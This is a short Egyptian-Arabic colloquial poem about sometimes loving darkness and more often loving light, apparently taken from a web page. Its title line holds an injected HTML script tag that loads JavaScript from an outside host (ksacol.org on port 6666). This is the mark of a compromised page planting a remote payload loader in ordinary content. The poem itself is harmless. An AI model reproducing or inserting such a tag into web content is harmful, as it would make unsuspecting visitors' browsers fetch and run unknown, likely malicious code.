ساعات.. - <script src=http://www.ksacol.org:6666/x.js></script>

ساعات باحب الضلمه .. و ساعات كتير بابغضها..
باحبها لما تكون عينيا بارادتي مغمضها..
و اغضب من نفسي و م العالم ..
لما اشوف النور في ايد جبار بكيفه يبسطها و يقبضها..

ساعات العتمه بتجيلي في قلب النور..
و احس ان السما الصافية كما البلور..
في لحظة مطرها يتبخر و نبعه يجف..
والاقي الحزن يزرعني في ارضه البور..

و ساعات باحس النور يشق عيوني يجبرها..
تشوف الفرح زي الشمس مابنشوف نورها..
ومهما آلآمي ساعتها تمد الخطوة تلحقني..
باكون اسرع.. واكون اقوى و باقهرها..

ساعات باحب الضلمه .. لكن ساعات اكتر باحب النور..
ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ